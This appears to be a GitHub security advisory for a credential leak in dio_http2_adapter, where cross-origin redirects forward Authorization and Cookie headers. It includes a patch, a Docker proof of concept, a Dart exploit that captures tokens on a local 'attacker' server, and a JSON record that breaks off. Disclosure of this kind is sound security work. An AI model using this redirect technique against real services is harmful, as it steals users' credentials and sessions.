GHSA-CR65-55V9-XHVV
Vulnerability from github – Published: 2026-10-15 20:18 – Updated: 2026-10-15 20:18Summary
dio_http2_adapter follows HTTP Location redirects without stripping sensitive request headers when the redirect target is a different origin. An attacker who can cause any origin server to return a cross-origin 302 redirect receives the victim's Authorization, Cookie, and Proxy-Authorization headers verbatim. This vulnerability has a CVSS v3.1 base score of 7.5 (High) because followRedirects is enabled by default, no authentication is required to exploit it, and the confidentiality impact is high.
Details
When Dio is configured to use Http2Adapter, the adapter's internal _fetch method constructs HTTP/2 request headers by unconditionally copying all entries from options.headers:
// plugins/http2_adapter/lib/src/http2_adapter.dart:111
headers.addAll(
options.headers.entries.map((entry) {
...
return Header.ascii(entry.key.toLowerCase(), v);
}).toList(),
);
On receiving a 3xx response, the adapter reads the Location header and resolves the redirect target URI:
// plugins/http2_adapter/lib/src/http2_adapter.dart:254-263
final url = responseHeaders.value('location');
final uri = Uri.parse(url ?? '');
final String path = resolveRedirectUri(options.uri, uri).toString();
return _fetch(options.copyWith(path: path, maxRedirects: --options.maxRedirects), ...);
options.copyWith is called without an explicit headers argument; dio/lib/src/options.dart:629 therefore preserves the full original header map via headers ?? Map.from(this.headers). resolveRedirectUri (http2_adapter.dart:290) returns an attacker-controlled cross-origin URI without any origin comparison. The combination means that on every redirect, the full set of original sensitive headers — including Authorization, Cookie, and Proxy-Authorization — is forwarded to the new authority with no sanitization.
Data flow (source → sink):
dio/lib/src/dio_mixin.dart:383— publicDio.request<T>(String path, ...)entry point.dio/lib/src/options.dart:331— base and per-request headers merged intoRequestOptions.dio/lib/src/dio_mixin.dart:596—httpClientAdapter.fetch(reqOpt, ...)dispatches toHttp2Adapter.plugins/http2_adapter/lib/src/http2_adapter.dart:254—Locationheader is read from the network response (attacker-controlled source).plugins/http2_adapter/lib/src/http2_adapter.dart:258— redirect target URI resolved; cross-origin check absent.plugins/http2_adapter/lib/src/http2_adapter.dart:260—options.copyWith(path: path, ...)called withoutheadersoverride.dio/lib/src/options.dart:629—copyWithpreservesMap.from(this.headers)— all sensitive headers retained.plugins/http2_adapter/lib/src/http2_adapter.dart:111— preserved headers emitted verbatim to the cross-origin HTTP/2 request (sink).
Suggested patch — strip sensitive headers before following a cross-origin redirect:
--- a/plugins/http2_adapter/lib/src/http2_adapter.dart
+++ b/plugins/http2_adapter/lib/src/http2_adapter.dart
+ static const _sensitiveRedirectHeaders = {
+ 'authorization',
+ 'cookie',
+ 'proxy-authorization',
+ };
+
- final String path = resolveRedirectUri(options.uri, uri).toString();
+ final redirectUri = resolveRedirectUri(options.uri, uri);
+ final redirectOptions = options.copyWith(
+ path: redirectUri.toString(),
+ maxRedirects: --options.maxRedirects,
+ );
+ if (!_sameOrigin(options.uri, redirectUri)) {
+ redirectOptions.headers.removeWhere(
+ (name, _) => _sensitiveRedirectHeaders.contains(name.toLowerCase()),
+ );
+ }
return _fetch(
- options.copyWith(path: path, maxRedirects: --options.maxRedirects),
+ redirectOptions,
list != null ? Stream.fromIterable(list) : null,
cancelFuture,
redirects,
);
+
+ static bool _sameOrigin(Uri a, Uri b) =>
+ a.scheme == b.scheme && a.host == b.host && a.port == b.port;
PoC
The following steps reproduce the vulnerability using two local HTTP/2 cleartext (h2c) servers inside an isolated Docker container (no external network required).
Prerequisites:
- Docker installed and accessible.
- Repository checked out at the path used as the build context.
Build and run:
# From the repository root (github_web_81_cfug__dio/)
docker build -f vuln-001/Dockerfile -t dio-vuln-001:poc .
docker run --rm --network none dio-vuln-001:poc
What the container does:
- Starts an origin h2c server on
127.0.0.1:18081that immediately returns302 Location: http://127.0.0.1:18082/capture. - Starts an attacker h2c server on
127.0.0.1:18082that logs every received header. - Executes the following Dart exploit:
final dio = Dio()
..httpClientAdapter = Http2Adapter(ConnectionManager());
await dio.get(
'http://127.0.0.1:18081/start',
options: Options(headers: {
'Authorization': 'Bearer SECRET_TOKEN_12345',
'Cookie': 'sid=SECRET_SESSION_ABC',
'x-secret': 'internal-secret-value',
}),
);
Expected output (confirms vulnerability):
RESULT=VULN_CONFIRMED
LEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345
LEAKED_COOKIE=sid=SECRET_SESSION_ABC
[ATTACKER] Received headers:
[ATTACKER] authorization: Bearer SECRET_TOKEN_12345
[ATTACKER] cookie: sid=SECRET_SESSION_ABC
[ATTACKER] x-secret: internal-secret-value
The attacker server at 127.0.0.1:18082 receives all three sensitive headers, demonstrating that Http2Adapter forwards them verbatim across the cross-origin redirect with no stripping.
Impact
This is a sensitive information disclosure vulnerability. Any application that:
- configures
DiowithHttp2Adapter, and - sends requests carrying
Authorization,Cookie, orProxy-Authorizationheaders,
is affected. Because followRedirects defaults to true and maxRedirects defaults to 5, no additional configuration is needed to trigger the bug.
An attacker who controls — or can compromise — any HTTP server that the victim application contacts can issue a 302 redirect to an attacker-owned server and thereby capture the victim's bearer tokens, session cookies, or proxy credentials. The attack requires no prior authentication and is executable over the network with low complexity. Stolen credentials may then be used to impersonate the victim against the original service or any other service that accepts the same token.
Affected parties include server-side Dart/Flutter applications and CLI tools that make authenticated HTTP/2 requests through dio_http2_adapter.
Reproduction artifacts
Dockerfile
# Dockerfile for VULN-001 dynamic reproduction
# Vulnerability: Cross-origin redirect leaks sensitive request headers in dio_http2_adapter
#
# Build context: the parent directory (github_web_81_cfug__dio/)
# docker build -f vuln-001/Dockerfile -t dio-vuln-001 .
#
# What this image does:
# 1. Installs Dart SDK (stable)
# 2. Copies the vulnerable repository source (dio + dio_http2_adapter)
# 3. Creates a PoC Dart project using path dependencies to the local source
# 4. Resolves pub packages
# 5. On container run: executes the exploit script that starts two local
# h2c servers (origin + attacker) and makes a redirected request to prove
# that Authorization/Cookie headers are forwarded to the cross-origin target
FROM dart:stable AS builder
# ── Repository source ──────────────────────────────────────────────────────────
# Copy only the packages we need to keep image small
COPY repo/dio/ /repo/dio/
COPY repo/plugins/http2_adapter/ /repo/plugins/http2_adapter/
# ── PoC project setup ──────────────────────────────────────────────────────────
WORKDIR /poc
COPY vuln-001/poc_pubspec.yaml pubspec.yaml
COPY vuln-001/poc_exploit.dart lib/main.dart
# Resolve dependencies (requires network access to pub.dev for http2, meta, etc.)
RUN dart pub get
# ── Runtime image (reuse builder to keep it simple) ────────────────────────────
FROM builder AS final
WORKDIR /poc
# Run the exploit; exit code:
# 0 = VULN_CONFIRMED (authorization header leaked to attacker)
# 1 = NOT_VULNERABLE (header was stripped or redirect not followed)
# 2 = FAIL (attacker server never received a request — env issue)
CMD ["dart", "run", "lib/main.dart"]
poc.py
#!/usr/bin/env python3
"""
PoC orchestrator for VULN-001:
Cross-origin redirect leaks sensitive request headers in dio_http2_adapter.
Usage:
python3 poc.py [--image-tag TAG]
What it does:
1. Builds a Docker image containing the vulnerable dio_http2_adapter source
and a Dart exploit script (poc_exploit.dart).
2. Runs the container, which:
a. Starts two local h2c (HTTP/2 cleartext) servers inside the container:
- Origin (127.0.0.1:18081): returns 302 → attacker
- Attacker (127.0.0.1:18082): logs all received headers
b. Uses dio + Http2Adapter to GET http://origin/start with
Authorization and Cookie headers.
c. Follows the 302 redirect to the attacker server.
d. Reports whether the Authorization header was captured by the attacker.
3. Writes phase2_result.json with structured verdict.
Exit codes:
0 PASS — vulnerability confirmed
1 FAIL — not reproduced
2 ERROR — build or runtime environment problem
"""
import argparse
import json
import os
import subprocess
import sys
import textwrap
from pathlib import Path
# ── Paths ──────────────────────────────────────────────────────────────────────
SCRIPT_DIR = Path(__file__).resolve().parent
REPO_ROOT = SCRIPT_DIR.parent # github_web_81_cfug__dio/
RESULT_FILE = SCRIPT_DIR / "phase2_result.json"
BUILD_CONTEXT = str(REPO_ROOT)
DOCKERFILE = str(SCRIPT_DIR / "Dockerfile")
DEFAULT_IMAGE_TAG = "dio-vuln-001:poc"
def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
"""Run a subprocess command, streaming stdout/stderr to the terminal."""
print(f"[+] {' '.join(cmd)}", flush=True)
return subprocess.run(cmd, **kwargs)
def build_image(tag: str) -> bool:
"""Build the Docker image. Returns True on success."""
result = run(
[
"docker", "build",
"--file", DOCKERFILE,
"--tag", tag,
BUILD_CONTEXT,
],
check=False,
)
if result.returncode != 0:
print(f"[!] Docker build failed (exit {result.returncode})", file=sys.stderr)
return False
return True
def run_container(tag: str, timeout_sec: int = 120) -> tuple[int, str, str]:
"""
Run the container and capture its output.
Returns:
(returncode, stdout, stderr)
"""
result = run(
[
"docker", "run",
"--rm",
"--network", "none", # no external network; loopback only
tag,
],
capture_output=True,
text=True,
timeout=timeout_sec,
check=False,
)
return result.returncode, result.stdout, result.stderr
def parse_output(stdout: str, stderr: str) -> dict:
"""
Parse structured key=value lines from the exploit's stdout.
The Dart exploit writes lines like:
RESULT=VULN_CONFIRMED
LEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345
EVIDENCE=...
"""
parsed = {}
for line in stdout.splitlines():
if "=" in line:
key, _, val = line.partition("=")
parsed[key.strip()] = val.strip()
return parsed
def write_result(data: dict) -> None:
with open(RESULT_FILE, "w", encoding="utf-8") as f:
json.dump(data, f, ensure_ascii=False, indent=2)
print(f"\n[+] Result written to {RESULT_FILE}")
def main() -> int:
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument(
"--image-tag", default=DEFAULT_IMAGE_TAG,
help=f"Docker image tag (default: {DEFAULT_IMAGE_TAG})",
)
args = parser.parse_args()
tag = args.image_tag
build_cmd = (
f"docker build -f vuln-001/Dockerfile -t {tag} ."
)
run_cmd = (
f"docker run --rm --network none {tag}"
)
poc_cmd = (
f"cd {REPO_ROOT} && {build_cmd} && {run_cmd}"
)
# ── Step 1: Build ──────────────────────────────────────────────────────────
print("=" * 70)
print("STEP 1: Building Docker image")
print("=" * 70)
if not build_image(tag):
result_data = {
"passed": False,
"verdict": "FAIL",
"reason": "Docker image build failed — dart pub get or source copy error",
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": "docker build non-zero exit code",
"artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
}
write_result(result_data)
return 2
# ── Step 2: Run exploit ────────────────────────────────────────────────────
print("\n" + "=" * 70)
print("STEP 2: Running exploit container")
print("=" * 70)
try:
returncode, stdout, stderr = run_container(tag)
except subprocess.TimeoutExpired:
result_data = {
"passed": False,
"verdict": "INCOMPLETE",
"reason": "Container execution did not complete within 120 seconds and was terminated due to timeout",
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": "subprocess.TimeoutExpired after 120 s",
"artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
}
write_result(result_data)
return 2
print("\n── Container STDOUT ─────────────────────────────────────────────")
print(stdout or "(empty)")
print("── Container STDERR ─────────────────────────────────────────────")
print(stderr or "(empty)")
print("── Exit code:", returncode, "─────────────────────────────────────")
# ── Step 3: Evaluate results ───────────────────────────────────────────────
parsed = parse_output(stdout, stderr)
exploit_result = parsed.get("RESULT", "")
leaked_header = parsed.get("LEAKED_HEADER", "")
evidence_line = parsed.get("EVIDENCE", "")
if returncode == 0 and exploit_result == "VULN_CONFIRMED" and leaked_header:
# Combine stdout + a snippet of stderr for the evidence field
stderr_snippet = "\n".join(
line for line in stderr.splitlines()
if any(tag in line for tag in ("[ATTACKER]", "[RESULT]", "[EVIDENCE]"))
)[:1500]
evidence = (
f"stdout: {stdout.strip()}\n\n"
f"stderr (relevant):\n{stderr_snippet}"
)
result_data = {
"passed": True,
"verdict": "PASS",
"reason": (
"dio_http2_adapter forwarded the original Authorization header verbatim "
"to the attacker's server without stripping it when following a "
"cross-origin 302 redirect. The attacker h2c server (127.0.0.1:18082) "
f"received '{leaked_header}'."
),
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": evidence,
"artifacts": [
"Dockerfile",
"poc_exploit.dart",
"poc_pubspec.yaml",
"poc.py",
],
}
write_result(result_data)
print("\n[PASS] VULN-001 reproduced successfully.")
return 0
elif returncode == 1 or exploit_result == "NOT_VULNERABLE":
result_data = {
"passed": False,
"verdict": "FAIL",
"reason": (
"Container execution succeeded, but the attacker server did not "
"receive the Authorization header. The vulnerability was not "
f"reproduced in this environment. Parsed result: {parsed}"
),
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": stdout + "\n" + stderr,
"artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
}
write_result(result_data)
print("\n[FAIL] Vulnerability not reproduced.")
return 1
else:
# returncode == 2 or other unexpected failure
result_data = {
"passed": False,
"verdict": "INCOMPLETE",
"reason": (
f"Container execution failed or exited with an unexpected code {returncode}. "
"Cause: h2c server startup error, network issue, or Dart runtime "
"error. Check the stderr log and retry without --network none."
),
"build_command": f"cd {REPO_ROOT} && {build_cmd}",
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": f"exit={returncode}\nstdout={stdout}\nstderr={stderr}",
"artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"],
}
write_result(result_data)
print(f"\n[INCOMPLETE] Container exited with code {returncode}.")
return 2
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.7.1"
},
"package": {
"ecosystem": "Pub",
"name": "dio_http2_adapter"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "2.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-103030"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-15T20:18:37Z",
"nvd_published_at": "2026-10-13T17:17:14Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`dio_http2_adapter` follows HTTP `Location` redirects without stripping sensitive request headers when the redirect target is a different origin. An attacker who can cause any origin server to return a cross-origin `302` redirect receives the victim\u0027s `Authorization`, `Cookie`, and `Proxy-Authorization` headers verbatim. This vulnerability has a CVSS v3.1 base score of **7.5 (High)** because `followRedirects` is enabled by default, no authentication is required to exploit it, and the confidentiality impact is high.\n\n### Details\n\nWhen `Dio` is configured to use `Http2Adapter`, the adapter\u0027s internal `_fetch` method constructs HTTP/2 request headers by unconditionally copying all entries from `options.headers`:\n\n```dart\n// plugins/http2_adapter/lib/src/http2_adapter.dart:111\nheaders.addAll(\n options.headers.entries.map((entry) {\n ...\n return Header.ascii(entry.key.toLowerCase(), v);\n }).toList(),\n);\n```\n\nOn receiving a `3xx` response, the adapter reads the `Location` header and resolves the redirect target URI:\n\n```dart\n// plugins/http2_adapter/lib/src/http2_adapter.dart:254-263\nfinal url = responseHeaders.value(\u0027location\u0027);\nfinal uri = Uri.parse(url ?? \u0027\u0027);\nfinal String path = resolveRedirectUri(options.uri, uri).toString();\nreturn _fetch(options.copyWith(path: path, maxRedirects: --options.maxRedirects), ...);\n```\n\n`options.copyWith` is called without an explicit `headers` argument; `dio/lib/src/options.dart:629` therefore preserves the full original header map via `headers ?? Map.from(this.headers)`. `resolveRedirectUri` (`http2_adapter.dart:290`) returns an attacker-controlled cross-origin URI without any origin comparison. The combination means that on every redirect, the full set of original sensitive headers \u2014 including `Authorization`, `Cookie`, and `Proxy-Authorization` \u2014 is forwarded to the new authority with no sanitization.\n\n**Data flow (source \u2192 sink):**\n\n1. `dio/lib/src/dio_mixin.dart:383` \u2014 public `Dio.request\u003cT\u003e(String path, ...)` entry point.\n2. `dio/lib/src/options.dart:331` \u2014 base and per-request headers merged into `RequestOptions`.\n3. `dio/lib/src/dio_mixin.dart:596` \u2014 `httpClientAdapter.fetch(reqOpt, ...)` dispatches to `Http2Adapter`.\n4. `plugins/http2_adapter/lib/src/http2_adapter.dart:254` \u2014 `Location` header is read from the network response (attacker-controlled source).\n5. `plugins/http2_adapter/lib/src/http2_adapter.dart:258` \u2014 redirect target URI resolved; cross-origin check absent.\n6. `plugins/http2_adapter/lib/src/http2_adapter.dart:260` \u2014 `options.copyWith(path: path, ...)` called without `headers` override.\n7. `dio/lib/src/options.dart:629` \u2014 `copyWith` preserves `Map.from(this.headers)` \u2014 all sensitive headers retained.\n8. `plugins/http2_adapter/lib/src/http2_adapter.dart:111` \u2014 preserved headers emitted verbatim to the cross-origin HTTP/2 request (sink).\n\n**Suggested patch** \u2014 strip sensitive headers before following a cross-origin redirect:\n\n```diff\n--- a/plugins/http2_adapter/lib/src/http2_adapter.dart\n+++ b/plugins/http2_adapter/lib/src/http2_adapter.dart\n+ static const _sensitiveRedirectHeaders = {\n+ \u0027authorization\u0027,\n+ \u0027cookie\u0027,\n+ \u0027proxy-authorization\u0027,\n+ };\n+\n- final String path = resolveRedirectUri(options.uri, uri).toString();\n+ final redirectUri = resolveRedirectUri(options.uri, uri);\n+ final redirectOptions = options.copyWith(\n+ path: redirectUri.toString(),\n+ maxRedirects: --options.maxRedirects,\n+ );\n+ if (!_sameOrigin(options.uri, redirectUri)) {\n+ redirectOptions.headers.removeWhere(\n+ (name, _) =\u003e _sensitiveRedirectHeaders.contains(name.toLowerCase()),\n+ );\n+ }\n return _fetch(\n- options.copyWith(path: path, maxRedirects: --options.maxRedirects),\n+ redirectOptions,\n list != null ? Stream.fromIterable(list) : null,\n cancelFuture,\n redirects,\n );\n+\n+ static bool _sameOrigin(Uri a, Uri b) =\u003e\n+ a.scheme == b.scheme \u0026\u0026 a.host == b.host \u0026\u0026 a.port == b.port;\n```\n\n### PoC\n\nThe following steps reproduce the vulnerability using two local HTTP/2 cleartext (h2c) servers inside an isolated Docker container (no external network required).\n\n**Prerequisites:**\n\n- Docker installed and accessible.\n- Repository checked out at the path used as the build context.\n\n**Build and run:**\n\n```bash\n# From the repository root (github_web_81_cfug__dio/)\ndocker build -f vuln-001/Dockerfile -t dio-vuln-001:poc .\ndocker run --rm --network none dio-vuln-001:poc\n```\n\n**What the container does:**\n\n1. Starts an *origin* h2c server on `127.0.0.1:18081` that immediately returns `302 Location: http://127.0.0.1:18082/capture`.\n2. Starts an *attacker* h2c server on `127.0.0.1:18082` that logs every received header.\n3. Executes the following Dart exploit:\n\n```dart\nfinal dio = Dio()\n ..httpClientAdapter = Http2Adapter(ConnectionManager());\nawait dio.get(\n \u0027http://127.0.0.1:18081/start\u0027,\n options: Options(headers: {\n \u0027Authorization\u0027: \u0027Bearer SECRET_TOKEN_12345\u0027,\n \u0027Cookie\u0027: \u0027sid=SECRET_SESSION_ABC\u0027,\n \u0027x-secret\u0027: \u0027internal-secret-value\u0027,\n }),\n);\n```\n\n**Expected output (confirms vulnerability):**\n\n```\nRESULT=VULN_CONFIRMED\nLEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345\nLEAKED_COOKIE=sid=SECRET_SESSION_ABC\n\n[ATTACKER] Received headers:\n[ATTACKER] authorization: Bearer SECRET_TOKEN_12345\n[ATTACKER] cookie: sid=SECRET_SESSION_ABC\n[ATTACKER] x-secret: internal-secret-value\n```\n\nThe attacker server at `127.0.0.1:18082` receives all three sensitive headers, demonstrating that `Http2Adapter` forwards them verbatim across the cross-origin redirect with no stripping.\n\n### Impact\n\nThis is a **sensitive information disclosure** vulnerability. Any application that:\n\n1. configures `Dio` with `Http2Adapter`, and\n2. sends requests carrying `Authorization`, `Cookie`, or `Proxy-Authorization` headers,\n\nis affected. Because `followRedirects` defaults to `true` and `maxRedirects` defaults to `5`, no additional configuration is needed to trigger the bug.\n\nAn attacker who controls \u2014 or can compromise \u2014 any HTTP server that the victim application contacts can issue a `302` redirect to an attacker-owned server and thereby capture the victim\u0027s bearer tokens, session cookies, or proxy credentials. The attack requires no prior authentication and is executable over the network with low complexity. Stolen credentials may then be used to impersonate the victim against the original service or any other service that accepts the same token.\n\nAffected parties include server-side Dart/Flutter applications and CLI tools that make authenticated HTTP/2 requests through `dio_http2_adapter`.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 dynamic reproduction\n# Vulnerability: Cross-origin redirect leaks sensitive request headers in dio_http2_adapter\n#\n# Build context: the parent directory (github_web_81_cfug__dio/)\n# docker build -f vuln-001/Dockerfile -t dio-vuln-001 .\n#\n# What this image does:\n# 1. Installs Dart SDK (stable)\n# 2. Copies the vulnerable repository source (dio + dio_http2_adapter)\n# 3. Creates a PoC Dart project using path dependencies to the local source\n# 4. Resolves pub packages\n# 5. On container run: executes the exploit script that starts two local\n# h2c servers (origin + attacker) and makes a redirected request to prove\n# that Authorization/Cookie headers are forwarded to the cross-origin target\n\nFROM dart:stable AS builder\n\n# \u2500\u2500 Repository source \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Copy only the packages we need to keep image small\nCOPY repo/dio/ /repo/dio/\nCOPY repo/plugins/http2_adapter/ /repo/plugins/http2_adapter/\n\n# \u2500\u2500 PoC project setup \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nWORKDIR /poc\n\nCOPY vuln-001/poc_pubspec.yaml pubspec.yaml\nCOPY vuln-001/poc_exploit.dart lib/main.dart\n\n# Resolve dependencies (requires network access to pub.dev for http2, meta, etc.)\nRUN dart pub get\n\n# \u2500\u2500 Runtime image (reuse builder to keep it simple) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFROM builder AS final\n\nWORKDIR /poc\n\n# Run the exploit; exit code:\n# 0 = VULN_CONFIRMED (authorization header leaked to attacker)\n# 1 = NOT_VULNERABLE (header was stripped or redirect not followed)\n# 2 = FAIL (attacker server never received a request \u2014 env issue)\nCMD [\"dart\", \"run\", \"lib/main.dart\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC orchestrator for VULN-001:\n Cross-origin redirect leaks sensitive request headers in dio_http2_adapter.\n\nUsage:\n python3 poc.py [--image-tag TAG]\n\nWhat it does:\n 1. Builds a Docker image containing the vulnerable dio_http2_adapter source\n and a Dart exploit script (poc_exploit.dart).\n 2. Runs the container, which:\n a. Starts two local h2c (HTTP/2 cleartext) servers inside the container:\n - Origin (127.0.0.1:18081): returns 302 \u2192 attacker\n - Attacker (127.0.0.1:18082): logs all received headers\n b. Uses dio + Http2Adapter to GET http://origin/start with\n Authorization and Cookie headers.\n c. Follows the 302 redirect to the attacker server.\n d. Reports whether the Authorization header was captured by the attacker.\n 3. Writes phase2_result.json with structured verdict.\n\nExit codes:\n 0 PASS \u2014 vulnerability confirmed\n 1 FAIL \u2014 not reproduced\n 2 ERROR \u2014 build or runtime environment problem\n\"\"\"\n\nimport argparse\nimport json\nimport os\nimport subprocess\nimport sys\nimport textwrap\nfrom pathlib import Path\n\n# \u2500\u2500 Paths \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nSCRIPT_DIR = Path(__file__).resolve().parent\nREPO_ROOT = SCRIPT_DIR.parent # github_web_81_cfug__dio/\nRESULT_FILE = SCRIPT_DIR / \"phase2_result.json\"\n\nBUILD_CONTEXT = str(REPO_ROOT)\nDOCKERFILE = str(SCRIPT_DIR / \"Dockerfile\")\nDEFAULT_IMAGE_TAG = \"dio-vuln-001:poc\"\n\n\ndef run(cmd: list[str], **kwargs) -\u003e subprocess.CompletedProcess:\n \"\"\"Run a subprocess command, streaming stdout/stderr to the terminal.\"\"\"\n print(f\"[+] {\u0027 \u0027.join(cmd)}\", flush=True)\n return subprocess.run(cmd, **kwargs)\n\n\ndef build_image(tag: str) -\u003e bool:\n \"\"\"Build the Docker image. Returns True on success.\"\"\"\n result = run(\n [\n \"docker\", \"build\",\n \"--file\", DOCKERFILE,\n \"--tag\", tag,\n BUILD_CONTEXT,\n ],\n check=False,\n )\n if result.returncode != 0:\n print(f\"[!] Docker build failed (exit {result.returncode})\", file=sys.stderr)\n return False\n return True\n\n\ndef run_container(tag: str, timeout_sec: int = 120) -\u003e tuple[int, str, str]:\n \"\"\"\n Run the container and capture its output.\n\n Returns:\n (returncode, stdout, stderr)\n \"\"\"\n result = run(\n [\n \"docker\", \"run\",\n \"--rm\",\n \"--network\", \"none\", # no external network; loopback only\n tag,\n ],\n capture_output=True,\n text=True,\n timeout=timeout_sec,\n check=False,\n )\n return result.returncode, result.stdout, result.stderr\n\n\ndef parse_output(stdout: str, stderr: str) -\u003e dict:\n \"\"\"\n Parse structured key=value lines from the exploit\u0027s stdout.\n\n The Dart exploit writes lines like:\n RESULT=VULN_CONFIRMED\n LEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345\n EVIDENCE=...\n \"\"\"\n parsed = {}\n for line in stdout.splitlines():\n if \"=\" in line:\n key, _, val = line.partition(\"=\")\n parsed[key.strip()] = val.strip()\n return parsed\n\n\ndef write_result(data: dict) -\u003e None:\n with open(RESULT_FILE, \"w\", encoding=\"utf-8\") as f:\n json.dump(data, f, ensure_ascii=False, indent=2)\n print(f\"\\n[+] Result written to {RESULT_FILE}\")\n\n\ndef main() -\u003e int:\n parser = argparse.ArgumentParser(description=__doc__)\n parser.add_argument(\n \"--image-tag\", default=DEFAULT_IMAGE_TAG,\n help=f\"Docker image tag (default: {DEFAULT_IMAGE_TAG})\",\n )\n args = parser.parse_args()\n tag = args.image_tag\n\n build_cmd = (\n f\"docker build -f vuln-001/Dockerfile -t {tag} .\"\n )\n run_cmd = (\n f\"docker run --rm --network none {tag}\"\n )\n poc_cmd = (\n f\"cd {REPO_ROOT} \u0026\u0026 {build_cmd} \u0026\u0026 {run_cmd}\"\n )\n\n # \u2500\u2500 Step 1: Build \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"=\" * 70)\n print(\"STEP 1: Building Docker image\")\n print(\"=\" * 70)\n if not build_image(tag):\n result_data = {\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"reason\": \"Docker image build failed \u2014 dart pub get or source copy error\",\n \"build_command\": f\"cd {REPO_ROOT} \u0026\u0026 {build_cmd}\",\n \"run_command\": run_cmd,\n \"poc_command\": poc_cmd,\n \"evidence\": \"docker build non-zero exit code\",\n \"artifacts\": [\"Dockerfile\", \"poc_exploit.dart\", \"poc_pubspec.yaml\"],\n }\n write_result(result_data)\n return 2\n\n # \u2500\u2500 Step 2: Run exploit \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"\\n\" + \"=\" * 70)\n print(\"STEP 2: Running exploit container\")\n print(\"=\" * 70)\n\n try:\n returncode, stdout, stderr = run_container(tag)\n except subprocess.TimeoutExpired:\n result_data = {\n \"passed\": False,\n \"verdict\": \"INCOMPLETE\",\n \"reason\": \"Container execution did not complete within 120 seconds and was terminated due to timeout\",\n \"build_command\": f\"cd {REPO_ROOT} \u0026\u0026 {build_cmd}\",\n \"run_command\": run_cmd,\n \"poc_command\": poc_cmd,\n \"evidence\": \"subprocess.TimeoutExpired after 120 s\",\n \"artifacts\": [\"Dockerfile\", \"poc_exploit.dart\", \"poc_pubspec.yaml\"],\n }\n write_result(result_data)\n return 2\n\n print(\"\\n\u2500\u2500 Container STDOUT \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\")\n print(stdout or \"(empty)\")\n print(\"\u2500\u2500 Container STDERR 